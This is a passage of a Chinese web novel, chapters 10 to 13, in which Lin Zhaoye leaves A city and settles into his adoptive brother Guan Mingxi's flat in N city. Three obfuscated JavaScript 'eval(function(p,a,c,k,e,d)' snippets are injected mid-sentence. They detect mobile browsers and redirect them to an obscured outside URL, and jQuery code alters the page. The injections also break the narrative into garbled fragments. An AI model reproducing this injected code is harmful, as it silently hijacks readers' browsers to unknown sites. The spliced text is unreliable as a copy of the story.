如果是顾虑林照夜的安全问题，N市无疑是更合适的选择。 比起留在这里和他们斗智斗勇，还不如直接釜底抽薪，转换阵地。 换个地方，所有问题就都迎刃而解。 N市和A市中间隔了两个省，林家和贺家的手暂时还伸不到那么长。 左右林照夜在A市也没什么事业可言，就算想要从头开始，有那么多的对头拦路在前，只怕也是困难重重。 还不如换个清净些的新环境重新开始。 林照夜确实对这里没什么留念。 对于去N市的提议，他也并不抵触。 不过他注意到关明熙提到N市时，用的字眼是“回”，同时也觉察到了他短暂的迟疑。 林照夜福至心灵，忽然回想起原主曾经暗中调查过的事。 “你们之前就是生活在N市的，是不是？” “是。”关明熙点头，看向他的时候眼底闪过一丝复杂，但他们都很默契地没有提及那个敏感的话题。 “对我来说，N市才是我的第一故乡，我大部分朋友都在N市。” “未来一段时间我工作都会很忙，也经常要出差，不可能一直陪在你身边，难会有鞭长莫及的时候，只有在N市，我才能确保一定能护得住你。” 关明熙这一番话可谓推心置腹了。 林照夜找不到任何拒绝的理由，没怎么犹豫就点了头。 “什么时候走？”林照夜问道，“我可能需要一点时间把A市这边的东西清理一下。” “需要多长时间？”关明熙问。 “两三天。”林照夜算了算，“至少要两天时间。” “那就三天后出发。”关明熙直接拍板，一边递了张卡过去，“有什么需要就直接刷卡雇人，密码是你生日，汤助理这几天也供你差遣，实在搞不定的就来找我。” 关明熙雷厉风行地订好机票，接了林照夜出院之后，又回了公司加班。 因为要搬家，林照夜直接回了原主自己的住处。 等汤助理赶过去的时候，林照夜已经联系好了搬家公司，正在挑拣需要带走的东西。 见没什么需要自己动手的事，汤助理就跟在林照夜身边，眉飞色舞地讲着聂潮汐那边的八卦。 聂潮汐最近过得很不顺心，代言连掉了几个，网上各种黑料又开始流传起来，虽然大多都是些边角料的流言，但也足够让他惴惴不安一段时间了。 不过比起事业上的波折，和贺修远之间的矛盾恐怕更让他头疼。 汤助理叫人去收房子的时候，聂潮汐过了好久才匆忙赶过去，脸上的淤青和憔悴的黑眼圈连扑了几层粉底都盖不住。 “我跟他说，收房子是关总要求的，他果然就没敢说什么，反而拐弯抹角开始打听你的事，说他和你之间有误会，以后有机会要向你当面解释。” 汤助理说到这里忍不住撇嘴：“我还想着做人不能这么不要脸吧，谁知道他还真这么没脸没皮。” 真是人不要脸天下无敌。 即便汤助理原本就打算不把话说死，给聂潮汐留条“退路”吊着他，但在亲眼看到他透露出想吃回头草的意思的时候，他还是被这人的无耻给震撼到了。 这才多长时间啊？ “是不是林少你过去给了他什么不切实际的承诺，才让他产生这么离谱的……妄想？”汤助理委婉地问道。 他其实更想问是不是林照夜当初当舔狗的时候舔的太过头了。 “太容易得到的东西就会被视作理所当然。”林照夜一边清点书房里的书架，一边随口接道。 汤助理今天在外面跑了一天，暂时还不知道那个视频的事，所以才震惊于聂潮汐的态度。 其实真相也很简单。 聂潮汐恐怕已经意识到了，如果真的失去林照夜的所有偏爱关注，他不仅仅会失去作为工具的“价值”，甚至有可能会被贺修远那条疯狗给弄死。 所以从汤助理这里听到半点林照夜仍留有旧情的迹象，他就像看到救命稻草的溺水人，迫不及待就抓上来。 汤助理说什么，他就信什么。 重要的不是安慰自己，而是找借口骗过贺修远。 关明熙没准备将昨晚的事继续往外宣扬，这对林照夜来说并不是什么好事。 林照夜现在想到贺家的事也觉得头痛，听汤助理把事情说得差不多了，立刻就转换话题。 “对了，汤哥，之前下河救了我的那位恩人有消息了吗？” 汤助理闻言一愣，然后叹了口气：“我正想跟你说呢，前两天送到警局托警察帮忙转交的谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966410|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼又被退回来了，警察也不肯透露他的信息，估摸着是真心不想被打扰。” 那晚救了林照夜的大学生将他送到警局后就走了。 虽然有警察跟着他去了学校核实过情况，知道他的真实信息，但在本人的强烈要求之下，警察也只能帮忙保密。 沟通了几次都问不到信息，汤助理就托警局帮忙转交一份谢礼，结果对方又没有接收。 “那就算了吧。”林照夜摆了摆手，“以后有缘还会再见的。” 说完又埋头进了书柜里。 往外搬书的时候不小心撞到柜门，书柜摇晃了一下，顶层的木板微微松动，放在上面的纸箱跟着往下滑。 眼看纸箱就要砸到林照夜头上，汤助理眼疾手快连忙伸手接住。 万幸纸箱不重。 只有灰尘洋洋洒洒地落在林照夜脑袋上。 他忍不住打了个喷嚏，又捂着鼻子说：“谢谢汤哥。” “当心点。”汤助理心有余悸地将箱子放到一边，“又不着急，或者叫人来帮你搬吧。” 林照夜掸了掸头发上的灰尘，解释道：“我就想看看里面有没有藏着什么要紧的东西。” “真要紧还能不记得？”汤助理想了想，“实在不放心，干脆一起搬走算了，大不了多叫两辆车。” 林照夜点头：“汤哥你说的有道理。” 这么一打岔，汤助理一时就忘了说关总已经另外找人去调查那个救命恩人的事了。 两天后，林照夜的东西就收拾的差不多了。 能清理的财产他都清理了出去，剩下一些需要时间的他就委托给了中介和专业的经理人。 原主从小住到大的那套房子，以及他记忆里比较有存在感的物件，他都统一保存在了里面，并请汤助理帮忙雇佣了专业人士定期打理。 林照夜想着自己刚穿过来就进了医院，对A市和原主的“家”不过就匆匆几面，本不应产生什么多余的感情。 但拎着简便的随身行李站在别墅门口，看着搬家公司的工人和家政进进出出的时候，他心底竟真的生出几分不舍和惆怅来。 如果没有意外的话，近几年内他应该都不会再回到这里了。 即便再来A市，也只是匆匆过客了。 林照夜迟迟没有挪动脚步，仔仔细细将这栋别墅的每一个角落每一处细节印在脑海里，定定看了半晌，最后在心底默念一声“再见了”，才转身离去。 汤助理站在不远处等着他，见他过来就提前帮他拉开车门。 “走吧，去机场。” 去N市。 …… 林照夜离开后不久，别墅外。 搬家工人正来来回回地将家具搬运到货车上。 花园里另外几个穿着制服的家政人员正在一堆小山前将杂物分门别类，有些要捐赠掉，有些卖废品，还有一些就直接扔进一旁的大号垃圾桶里，准备集中起来到时候一起丢掉。 不过半天的时间，门外已经堆了三个一模一样的垃圾桶。 一个大学生模样的年轻人路过门前，来回了三次，最后才扒开垃圾桶，看到门柱上被遮挡住的门牌号。 最近的一个垃圾桶里有一沓废纸，几束干花，还有若干摆件。 年轻人顺手捡起一张泛黄的信纸，来回翻看了一遍，在背面看到几个字—— 「汐汐的愿望清单」 其他几张纸和卡片，以及部分摆件上印的字，几乎都是以“汐汐的xxx”或者“送给汐汐”的格式开头。 年轻人顿时露出一副牙酸的表情。 他捏着几张卡片，往旁边走了几步，隔着栏杆问里面的家政：“请问这里是林照夜家吗？” 唯一没有穿制服的家政闻言起身，打量了年轻人片刻，有点迟疑地问：“你找林先生？” 年轻人点点头：“我顺路来给他送东西，请问他现在是……不住在这里了吗？” “林先生已经离开A市了。”家政说道，“短时间内应该不会再回来了，你送的是什么重要的东西吗？我可以帮你把东西转寄过去。” 年轻人摊开手，掌心里抓着一个手机，右下角隐隐有些裂痕。 “他上次不小心掉到水里，把手机落下了。”年轻人说道，“我帮他修好了想顺路送给他的。” 手机里肯定有些重要的东西，要是寄丢了可就麻烦了。 家政一时踌躇。 年轻人见状便善解人意地说道：“请问你们知道林先生搬去哪里了吗？我看能不能托朋友送过去。” 家政看了一眼一旁的搬家工人，犹豫道：“听说是去了N市，好像是什么清河区，具体的地址我就不太清楚了。” “你可以找他们帮忙打电话问问。” 11. 11 林照夜刚搬到N市的第一天就看了一场闹剧。 关明熙一早就去了公司，汤助理原本留在家里陪林照夜收拾行李，顺便看看他要添置什么东西，列下清单准备到时候一块补齐。 结果刚收拾到一半，关明熙那边就打来电话，说有一份文件落下了，让汤助理帮忙送过去。 林照夜不怎么在意地挥挥手让他去忙：“就剩这一点衣服和书了，我自己收拾就可以。” “你刚来N市人生地不熟，暂时不要随便往外跑哦。”汤助理再三叮嘱，“有事就给我打电话，我很快就回来。” 林照夜哭笑不得：“我又不是小孩子了——知道了。” 汤助理离开之后，林照夜没花多久就将东西收拾得差不多了。 大件东西还在路上，不常用的东西还是塞进箱子，再放进衣柜深处。 一摞书暂时放在飘窗上。 主要是卧室里还有点空，除了床就只有两张床头柜，和一个配套的衣帽间。 林照夜住的还是关明熙自己的私宅，距离分公司不远的一个小区里的小平层。 三室一厅带个杂物间。 其中一个房间被改成了书房，剩下两室一主卧一次卧。 除了上锁的书房以外，其他房间林照夜都被允许可以随便进出。 林照夜也没客气，将整套房都观察了一遍，觉得这位大哥还挺有意思。 这套房整体都有点空，显然关明熙在这里住的时间并不多，或者只是平时工作忙的时候就来这边睡觉。 不过想想也正常，关明熙随养父母一同在N市长大，肯定另有一处从小长大的地方。 平时休息回去看望父母，自然是回那个“家”更多一些。 但以林照夜和他们一家之间的微妙关系，现在就直接把他带过去当然也不合适。 关明熙没点破，林照夜也就一起装聋作哑。 林照夜觉得他有意思的另外一点是，这套房的次卧是比主卧大不少的。 或者说关明熙住的房间才是原本的次卧。 除了面积大小之外，唯一的差别就是关明熙的房间离玄关更近，回来之后累了就能直接回房间洗漱睡觉，不用再多跨越一个面积不小的客厅。 玄关另一边就是餐厅和厨房。 所以这套房虽然面积不小，但实际只有一半的使用率。 林照夜搬进来之后，恰好就用上了另一半。 关明熙有时候要在书房办公，虽然不会留下什么要紧的东西，但也不好让林照夜随便进出，免得出什么意外说不清楚。 正好林照夜房间面积足够大，放了一张大床之后，房间里还空了一大片。 在决定将林照夜带来N市的时候，关明熙就叫人去定制储物架和书桌，只是现在还没有做好，等做好了也要晾一段时间散散味。 这些小事关明熙在来N市的路上就跟他说过，其他细枝末节的事也有汤助理从旁补充。 可以说是周到至极了。 林照夜面上乖巧感激，心说这位哥责任心还真强，为没有血缘也没有感情基础的便宜弟弟能做到这一步，其实很不容易了。 他不知道的是，关明熙起初是没打算让他住进自己家的。 在A市的时候是不得已而为之。 那时候说是内忧外患危机四伏也不为过，不把人放在眼皮子底下看着，关明熙都怕哪天再听到他被人从河里捞出来的消息。 之后就未必再有那样死里逃生的运气。 说不准错下眼再看这便宜弟弟，就不是要照看他，而是准备给他出殡了。 但来了N市之后就没有这些烦恼了。 一来这地方治安确实不错，二来林照夜在这儿人生地不熟，不用防备有什么狐朋狗友再带他出去鬼混。 三来就是关明熙在这里掌控力比在A市强得多。 这里没有林照夜的死仇，多数人都会愿意卖关明熙一个面子，对他关照一二。 关明熙原本的计划是在分公司附近另外安排住处，让林照夜自己住，他也能经常过去探望一二。 让他改变主意的是林照夜出院那天，他顺路送林照夜回去，送他到别墅门口就跟他道别回公司。 因为安排了保镖继续跟着，关明熙也不怎么担心他的安全问题。 但那天离开的时候不巧，正撞上小区里的迎亲车队，司机不好强闯，只能老老实实停在路口先等车队过去，反正车队也不长。 在被堵在路口的那短短几分钟时间里，关明熙透过车外的后视镜看到林照夜站在自己“家”门口。 不知道是发呆还是没找到钥匙，好半天没有打开院门。 前面是吹拉弹唱热闹吵闹的车队，后面是林照夜孤零零地站在别墅门口。 常人羡慕不来的三层豪宅，在他面前就像是冰冷的巨兽，冷冰冰地凝望着脚下渺小脆弱的人类。 后来林照夜还是打开了门。 他没有请家政保姆，颓废的一个多月来都只是一个人躺在别墅里面装死，从医院再回到这个家，自然也没有人出来迎接他。 他是一个人走进去的。 关明熙最终也没有下车，更没有在任何人面前提及过这件事。 只是在汤助理后来问他，帮林照夜打包的行李要寄到哪里的时候，他把脑海里原本的选项默默划掉，报了自己家的住址。 反正他那里足够大也足够空，多塞进去一个人绰绰有余。 不过除了若有若无的同情怜悯，还有微不可查的愧疚之外，主要原因还是林照夜表现出来的安分乖巧。 不是个作妖的性子，既然如此，继续放在身边也未尝不可。 现在距离那场变故还没过去多久。 林照夜面上乐呵呵的，心底的创伤却未必真的愈合了。 还是等他真正走出来，能自己立起来，彻底振作起来之后，再让他搬出去吧。 林照夜对这些内情自然是一无所知。 他只觉得关明熙是个好人。 对于住在哪里、和什么人住在一起，他其实不是很在意。 林照夜一大优点就是想得开，无论在哪里都能快速适应环境，找到最合适自己的位置。 跟这个大哥住在一起也不坏。 怎么说也是他穿越来之后最熟悉的人之一了，又真的是一心为他操心考虑。 再有什么不满那多少有点不识好歹了。 所以关明熙无论怎么安排，林照夜都照单全收。 熟悉完新住处的布局之后，林照夜就回到房间继续收拾衣服，只需要分门别类，然后重复叠或挂的动作。 正要往上挂最后一件外套的时候，外面忽然传来一阵争吵声。 “——你别给脸不要脸！”怒斥声从楼下传来，随后是一声响亮的巴掌声。 林照夜放下衣服，走到阳台上，推开窗户朝下张望。 楼下两个人似乎是起了冲突。 其中一个身形微胖，相貌平平但也还算端正，一身名牌穿着考究，只看外表像是个斯文的有钱人。 但他此刻满脸狰狞怒意，面容都有些扭曲了，便显得有些骇人。 另一个年轻人身形纤瘦，略长的黑发正好扫到肩头，披散着遮挡住半边脸，却还影影绰绰地透出一道鲜红的巴掌印。 林照夜打量着他单薄但极为高挑的身形，才敢确认那是个男人。 只看脸像是个漂亮妹子。 男生女相的年轻人低垂着头，捂着脸，不言不语地站在那里任由微胖的男人辱骂推搡。 男人怒极，满嘴都是需要屏蔽的脏字，骂了半天大意是面前的小白脸是个骗子，叫他还钱。 不过以他满嘴喷脏的素质，实在很难激发围观路人的同情心。 周围路过的人渐渐围上来，有实在看不下去的站出来说话，却是劝那个情绪激动的男人不要太过分。 有人在中间拦着，男人第二个巴掌没能再落到年轻人脸上。 只是吵闹的声音越发响了，像是身处闹市区的菜市场。 林照夜站在楼上看了半天戏，终于听到了更多的八卦细节。 原来那个微胖男是个小富商，前阵子到大学校园里做宣传的时候与长了张漂亮妹子脸的小白脸擦肩而过，直接对他（的脸）一见钟情了。 打听到小白脸家境不好之后，小富商就开始砸钱追求他。 苦追了好几个月之后，小富商终于打动了小白脸，将人追到了手。 没成想心心念念的妹子是个带把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林照夜吃瓜吃得津津有味，就是声音太多逐渐听不清楚，不知不觉间都快把半截身子探出阳台了。 还没等到警察到场，他忽然感觉脊背窜起一股凉意。 林照夜顿时一个激灵，福至心灵般扭头看向旁边的主干道，正巧与关明熙投过来的视线撞了个正着。 楼下的关明熙仰头盯着他，微微眯着眼睛，脸上的神色不大好看。 “……”林照夜只恨自己视力太好，不能装作什么都没看到。 反应过来的时候已经默默站直了身子，将脑袋从窗外挪回到窗内。 然后隔着窗户玻璃冲着关明熙讪讪地笑了笑。 也不知道他有没有看见。 大约一刻钟之后，大门处就传来开门的声音。 楼下的警车也在这时候开到了吃瓜群众旁边，林照夜隔着窗户瞄了两眼，硬是强忍着好奇挪开视线，扭头迎接刚进门的关明熙。 “哥，你回来啦。”林照夜挤出一个讨好的笑容。 “不然还看不到你这么精彩的表演。”关明熙扫了他一眼，见他老老实实地关上了窗户，表情才缓和了一些，“别人的热闹好看吗？” “好——”林照夜对上他扫过来的视线，急转弯，“还好，就那样吧。” 他也不知道自己有什么可理亏的，但看到关明熙略显阴沉的脸色就是莫名觉得心虚。 他一个成年人，又不是几岁大的小孩子，还能自己翻窗子往楼下跳不成？ 他又不是活得不耐烦了。 但林照夜不敢说。 关明熙盯着他看了好一会儿，也知道自己这火发的有点没道理，强迫自己移开视线，语气淡淡道：“君子不立危墙之下，看热闹可以，别把自己也搭进去了。” 他不能说在楼下看到林照夜将身子探出窗外的时候，脑海里最先闪过的是黑夜里那座桥。 明明他没有亲眼见到林照夜落水的样子，可大脑偏偏不受控制地开始模拟填补那段空白。 热闹喧嚣奔涌不息的江水，黑夜中幽灵般徘徊在桥上的人，就那么往下坠落，世界颠倒一瞬便被无尽的浪潮吞没殆尽。 关明熙不知道自己在恐慌什么。 明明这人还好好地站在自己面前，还能冲他笑，跟他装乖。 很久之后他才隐约明白过来，那是后怕。 直到在楼下看到窗边的林照夜的那一瞬间，关明熙才真正意义上意识到先前林照夜的落水到底意味着什么。 意味着差一点点，他或许就再也见不到这个人了。 12. 12 日理万机的关总挤出了一点时间，和弟弟谈了谈人生、讲了讲道理。 关明熙原本没有这个打算的。 他虽然提前从公司回来，但实际上还有几份文件没有处理。 不算紧急，可他不喜拖拉，只要有一点闲暇，就会优先把工作处理干净。 工作处理完了，才能更好的休息。 但现在弟弟的事比这些可以暂时搁置的工作更重要。 看到林照夜卖乖的模样，关明熙一瞬间又联想到他的过去，想到林家，又想到林父。 以前林照夜是众星捧月的林家少爷，面上光鲜亮丽，为了白月光闹出一桩又一桩的荒唐事，林老爷子却依然对他宠爱有加，默默跟在后面帮他收尾擦屁股。 谁见了都只会觉得，林少爷日子过得不错，肯定从小就没吃过什么苦头。 所以出事之后，大多数人都觉得林少爷一定很快就会崩溃。 亲爹的偏爱宠溺，身边人的追捧，苦苦追求的“真爱”，光鲜亮丽的林家继承人的光环…… 一夕之间全都碎成泡影，还加诸在别的比他更优秀的人身上。 换谁都得破大防。 关明熙之前也是这么认为的。 但随着对林家深入的调查，以及这段时间和林照夜的实际相处，关明熙过去那些想当然的想法被一再的推翻。 如果那些金玉其外的光环都是假的呢？ 林父对林照夜这个独子看中是真，但真心如何却很难说。 如果真的爱自己的孩子，不会将他丢给保姆和司机照顾，不会频繁地给他更换后妈，不会任由情人跑到儿子面前耀武扬威，也不会一直缺席儿子的各种家长会、生日会。 就连林照夜追着聂潮汐跑的时候，林父都不曾教过他要懂得辨别人心。 他只会和别人说小孩子不懂事，玩玩而已。 林父最爱的永远只有自己，其次是继承人这个身份。 没有别的人选的时候，林照夜再“废物”，他也闭着眼睛宠。 但有了更好的选择，他也能毫不犹豫地抛弃这个不中用的儿子。 外人震惊于他的绝情，是因为只能看到表象。 身在局中的当事人，难道也同样对此一无所觉吗？ 关明熙最终想起来的是养母这么多年对亲儿子的念念不忘。 曾经年少轻狂时，听说林少爷在外不学无术的大名，得知林家对池女士的伤害，关明熙有很长一段时间都对这个素未谋面的便宜弟弟抱有很深的成见。 他没再养母面前说出口过，但确实真真切切地想过——凭什么。 流着林家血、没被养母亲手养育过一天、给她带来过无数痛苦和折磨，又不聪明、不善良、不知人间疾苦的纨绔少爷，凭什么让养母念念不忘、愧疚不已？ 就凭那一点天然的血缘关系吗？ 关明熙为养母感到不平，也掺杂着说不清道不明的微妙妒意。 随着年纪渐长，心智逐渐成熟，他才能以一种更宽容的态度去看待这个弟弟。 他仍然觉得不值，可也明白那并不是这个弟弟的过错。 罪魁祸首是林父，是池家。 这暗藏腌臜的两家人里，若要挑一个最无辜的出来，那便只有林照夜。 直到去警局捞人之前，关明熙都是带着这样“宽容”的心态说服自己去接手这个无法推拒的责任的。 他没有想到这么短的时间里，他的想法会一变再变。 现在他也终于明白过来，池女士对这个亲儿子的愧疚到底源于哪里。 ——身为缺席的母亲的亏欠感。 见鬼的是，在意识到林照夜在林家过得没想象中那么好的时候，关明熙也无法自控地产生了相似的感觉。 在林照夜独自在林家野蛮生长的时候，关明熙在养母的爱护之下度过了人生最轻松幸福的十余年光阴。 如果林照夜是个没有良心的嚣张小混蛋，关明熙还能收起几分亏欠感。 但现在这个…… 看着林照夜微微低垂着眼睛，一副乖巧听训的模样，灯光映照下，那双园而亮的杏眼水光潋滟，视线盯着下面，就显得可怜巴巴的。 关明熙原本还严肃的声音不知不觉就软了下去。 训也训不下去，只能以后慢慢教了。 关明熙脑海一些模糊的想法慢慢成了型—— 往后的日子还长，林照夜前半生缺失的那些东西，他会想办法慢慢补全。 关明熙作为“兄长”的责任心在这一刻达到了巅峰。 林照夜低着头听他说话，看着聚精会神，其实大半的神已经游出去好一会儿了。 不过这并不妨碍他把关明熙的话记在脑子里。 当然听不听就是另一回事了。 按照前世来算，他其实与关明熙年纪相仿，人生阅历并不比他少，面对很多事情自有一套完善的判断标准。 他不敢说自己有多成熟，但也不至于单纯到随便就被人坑蒙拐骗了去。 以前都只有他“坑蒙拐骗”别人的份。 但他也不会反驳关明熙的话，因为他知道这个大哥确实是出于好意。 就是……似乎有种蓬勃的父爱无处安放的感觉。 林照夜都没想到自己这么大年纪，还能被人叮嘱“不要到水边玩水”、“身体不要探出栏杆之外”、“不要跟狐朋狗友去酒吧里鬼混”、“不许夜不归宿”之类的话。 关明熙一口气罗列了好几条，一抬眼就瞥见林照夜脸上微妙的神色，不由一顿。 差点忘了林照夜已经成年很久了。 大学毕业都有几年了。 “如果一定要在外过夜，或者和朋友去酒吧之类的地方，一定要提前跟我报备。”关明熙缓了缓语气，自己往后退了一步，“我担心你再被人骗。” 林照夜：“……” 倒也不必这么直白。 不过实际想想，这些规矩其实也不过分。 原主是不是真的喜欢跟狐朋狗友去酒吧厮混过夜不好说，林照夜是不喜欢的。 前世除了刚离开校园那两年白手起家，因为没什么根基背景，不得不上桌跟人应酬才沾点酒水外，他是从来不喝酒的。 酒吧夜店之类的地方，他还一次都没去过。 倒不是对这些地方有什么抵触，纯粹是没机会。 在学校的时候周围都是卷王，年轻的天才们怪癖五花八门，有偷偷在宿舍养虫子的，有几个月不洗澡的，有喜欢穿女装的，也有像林照夜这样喜欢摸鱼博览课外读物的，但没有一个喜欢喝酒的。 因为酒精会影响大脑。 后来离开学校出去创业，就是单纯的忙了。 学生时代林照夜和老师斗智斗勇十几年，把老教授气到掀桌子指着他鼻子骂，都只是为了他孜孜不倦的摸鱼大业。 但离了象牙塔里那片温土，曾经态度散漫的林照夜直接进化成了卷王。 汤助理之前吐槽过关总是懒得应酬伪装成工作狂，前世的林照夜就是真工作狂。 他是真的三百六十五天有三百六十天都在忙工作。 但工作效率再怎么高，再怎么保证睡眠时间，长期处于高压的工作状态下，铁打的身体也吃不消。 前世林照夜在死于地震之前，身体其实已经不太好了。 他有意减少了工作量，减缓了工作进程，但还没见什么成效，就葬身于废墟之下了。 唯一值得庆幸的是，那晚他把要陪他一起加班的秘书赶了回去，那层楼里最后就只剩下他一个人，等着电脑里最后跑出来的数据结果。 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966412|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道其他地方的灾情如何，但总比留在高楼上等死好一些。 自从穿越之后，林照夜就尽力不去回忆前世的事。 父母、朋友、老师…… 他不知道他们最后怎么样了，他希望他们都能好好活下去，却又不敢想自己的身后事。 可一旦闲下来，脑海里就难免闪过那些念头。 或许让自己忙碌起来会好一点。 至少现在，他还没有办法那么心平气和地去回想前世那些人。 林照夜收拢思绪，就正好听见关明熙问他未来有什么打算。 “……如果想历练一下，我可以把你安排进分公司，或者介绍给其他朋友，不过以你的履历，大概都要先从基层做起。” 关明熙还记得林照夜在医院里的豪言壮志。 但想要同时踩在林家和贺家头上，可不是躺在家里或者随便捞个闲职混吃等死就能办到的。 林照夜在林氏工作的那段履历也着实不够亮眼。 “你现在对工作的方向有什么想法吗？我记得你大学专业——”关明熙说到这里，发现自己对林照夜的学历状况还真没什么印象，掏出手机瞄了一眼之前调查的结果，“C大……计算机？” 关明熙愣了一下，眼底闪过意外之色。 林照夜没学金融或管理学倒不是什么大不了的事，毕竟当时林家就他一个继承人，林父只要有心，带在身边悉心教上几个月，比大学四年的专业课效果都好。 关明熙惊讶的是，C大也算是国内一流名校了，只是名号没有前面那几个那么响。 计算机专业又是C大的招牌专业，在校内也是录取线较高的那一档。 如果说是林家想帮他操作争取一个名校生的头衔，这个专业的性价比可就相当低了。 而且林家可从没有往外宣传过林照夜的学历。 外面所有人都说林照夜是个废物草包。 关明熙用一种像是在看什么新奇物种的视线打量着眼前的人。 林照夜看出他的疑问，回忆了片刻之后，解释道：“贺修远上的是A大，贺家给A大捐了一栋楼，又给他搞了个艺术生的身份，被保送进去的。” “这么说你是自己考进C大的？”关明熙抓住重点，“不然让林家给你运作一下，进A大不是更好。” 林家和贺家实力相当，甚至林家还隐隐压了一头。 没理由贺家能做到的事，林家做不到。 “侥幸超常发挥而已。”林照夜一语带过，“不过话说回来，我突然想起一件事……” “什么？” “那个林——”林照夜回想了一下那个私生子哥哥的名字，“林什么与……” “林承宇。”关明熙提醒。 “哦对，那个林承宇也是A大的学生，听说他是自己考进去的。”林照夜继续说道，“还有那个林什么的弟弟，据说是搞竞赛的，成绩特别好，也被保送到A大，下半年就要去上大学了。” 这都是原主在林父的寿宴当天，听到场的宾客聊天时透露出来的信息。 A大是公认的国内最顶尖的名校。 有A大这个招牌珠玉在前，偏重理工科大众名声不够响亮的C大在林父眼里也就跟个野鸡大学差不多。 在原主记忆里，林父并没有因此责备过他，但也没有夸过他高考时的超常发挥。 起初林父还透露过要把原主送去国外留学的意向，但后来不知怎么的就没再提过这一茬了。 原主高考的时候，私生子里的哥哥好像已经大四即将毕业在外实习了。 林照夜摸着下巴回忆着那几个隐晦的时间节点，若有所思。 林家这出戏，恐怕筹备的比所有人想象的都要早很多啊。 那会儿原主甚至还没有遇到聂潮汐呢。 13. 13 确实有些不太对劲。 关明熙眉头微跳。 如果林父真的在意自己唯一的继承人，不会任由林照夜那么“摆烂”。 所谓继承人，除去斩不断的血脉，继承的就是自己辛苦打拼出来的家业。 林父那样自私又自负的人，怎么可能眼睁睁看着自己不争气的儿子败光家产，甚至连一点表面上的培养教育都不做到位。 除非，他早就知道有更多的选择余地。 关明熙垂眸，掩去眼底一丝冷意。 ——这人到底把林照夜看成了什么？ 林照夜还在搜寻着记忆里的蛛丝马迹，似乎并没有意识到林父态度背后潜藏的含义。 关明熙并不希望他再继续深想下去，开口打断他的思绪：“这件事回头我再叫人去细查一下，有结果再告诉你。” 说着话锋一转：“不过你也别想借机扯开话题，工作的事怎么说？” 林照夜：“……” 满打满算他才穿过来不到十天，他还能怎么说？ 虽说想找点事让自己忙起来，但他可不想重蹈上辈子的覆辙，最后生生把自己卷到英年早逝。 这辈子好不容易多捡一条命，他一定要努力活得长久一点。 长寿第一步，先从放弃内卷开始。 想到这里，林照夜脸一垮，语气哀怨又可怜：“哥，我才刚来N市，小区门都不知道往哪边开呢，起码也让我先熟悉一下环境再考虑这么复杂的事吧。” 关明熙：“……” 怎么好像他成了什么狠心的周扒皮似的。 不过林照夜的话倒也没说错。 距离他被林家赶出来还不到两个月，现在就要他拿定未来的目标方案，未免有点强人所难了。 关明熙默默叹了口气，也意识到自己有点操之过急了。 不能光看林照夜看似阳光开朗的外表，还是要记得多关注一下他饱受挫折创伤的心理健康。 听说有些人心里越压抑，表面看起来就越外放活泼。 关明熙稍微反思了一下自己，一边暗暗计划着等空下来最好带林照夜去找个心理医生看看。 可不能把人放到眼皮子底下了，再照顾出什么差错。 “这些事确实不用着急。”关明熙解释道，“我只是给你提个方向，以后要是有什么想法，拿不定主意可以先跟我说说，我好歹比你年长几岁，也能帮你参谋参谋。” 林照夜连连点头：“嗯嗯，我会的。” 关明熙原本还想再说几句，但看到林照夜那张看着分外单纯好骗的脸，最后还是把话咽了回去。 算了，还是他平时多看着些吧。 有些事急不来，不该再过多苛责他什么了。 林照夜不知道他为什么突然就沉默起来，抬眸看了他一眼：“哥？” 这是词穷了，还是说完了？ 关明熙没说什么，只是顺手揉了一把他的脑袋。 林照夜被这一下揉得脑袋低下去，感觉这位哥很有公报私仇伺机泄愤的嫌疑。 但他又感觉关明熙心情似乎变好了一些。 “快到饭点了。”关明熙抬头看了眼墙上的时钟，从沙发上起身，卷起一边的袖子，一边往厨房走去，一边问，“晚上想吃什么？” 林照夜摸了摸自己被揉乱的头发，震惊地转头看他：“还能点菜吗？” “可以。”关明熙打开冰箱扫了一眼，“不过现在冰箱里只有白菜土豆胡萝卜鸡蛋。” 关明熙不喜欢让不相干的外人随便进自己的住处。 就算请家政保洁，也基本维持在最多一个礼拜一次的频率，而且通常都是关明熙在家的时候。 平时吃饭要么公司食堂，要么从附近酒店叫餐。 不忙的时候，关明熙也会自己下厨。 不过遗憾的是，关明熙前面几个月都不在N市，也没来得及补充冰箱库存，里面仅剩的还算新鲜的菜，还是前两天家政来打扫卫生的时候帮忙补充的。 林照夜听完一串菜名，就一个意见：“不吃胡萝卜。” 关明熙不介意满足他这点小小的要求：“那就土豆白菜鸡蛋。” 最后的成品是土豆炒鸡蛋，清炒白菜。 虽然听起来魔鬼又家常，但意外的味道不错，林照夜多添了半碗饭。 结果就是吃撑了。 正好碗筷刚收拾好，汤助理就过来送文件，顺带把给林照夜添置的几套衣服送过来。 N市气温整体比A市高，但早晚凉。 林照夜带过来的外套太厚，不穿外套又有点冷。 回来的路上关明熙就见他一会儿穿外套一会儿脱外套，就叫汤助理顺路找个店给他带几件薄款外套。 只是N市这边突发的意外和琐事比想象中多不少，汤助理也是忙到这会儿才抽出空。 汤助理送完东西就该下班了，关明熙则准备进书房加会儿班。 刚洗完碗的林照夜从厨房里出来就跟到门口：“汤哥我送你——” 关明熙盯着他：“你不是连小区门都不知道往哪儿开吗？” 